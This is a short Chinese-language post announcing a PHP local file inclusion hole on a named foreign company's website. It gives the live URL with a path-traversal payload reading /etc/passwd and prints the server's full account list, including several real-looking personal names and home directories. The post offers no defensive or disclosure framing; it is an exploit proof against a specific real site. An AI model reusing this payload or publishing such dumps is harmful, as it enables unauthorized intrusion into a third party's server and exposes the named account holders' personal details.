老外站的php本地包含洞

韩小末

http://www.vidiauto.com/off_record/index01.php?id=../../../../../../etc/passwd
root:/bin/bash
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
webservd:x:80:80:WebServer Reserved UID:/:
postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag:x:95:12:Service Tag UID:/:
mysql:x:3306:3306:MySQL Database User:/var/mysql:/bin/bash
ftpuser:x:1003:1003:FTP User:/dev/null:/bin/false
nobody:x:60001:60001:NFS Anonymous Access User:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x NFS Anoymous Access User:/:
mgr:x:10000:10:Pred root:/mgr:/bin/ksh
nimium:x:10100:10:Nimium Support User:/home/nimium:/bin/ksh
vbanda:x:1001:10:V. Banda:/home/vbanda:/bin/bash
okubelka:x:1000:10:Ozren Kubelka:/home/okubelka:/bin/bash
vidiftp:x:1002:10:Vidi FTP Web Mgr:/home/vidiftp:/usr/bin/ksh
vkubelka:x:1005:10:Vedran Kubelka:/home/vkubelka:/usr/bin/ksh
vidiguest:x:10103:3307::/home/vidiguest:/bin/ksh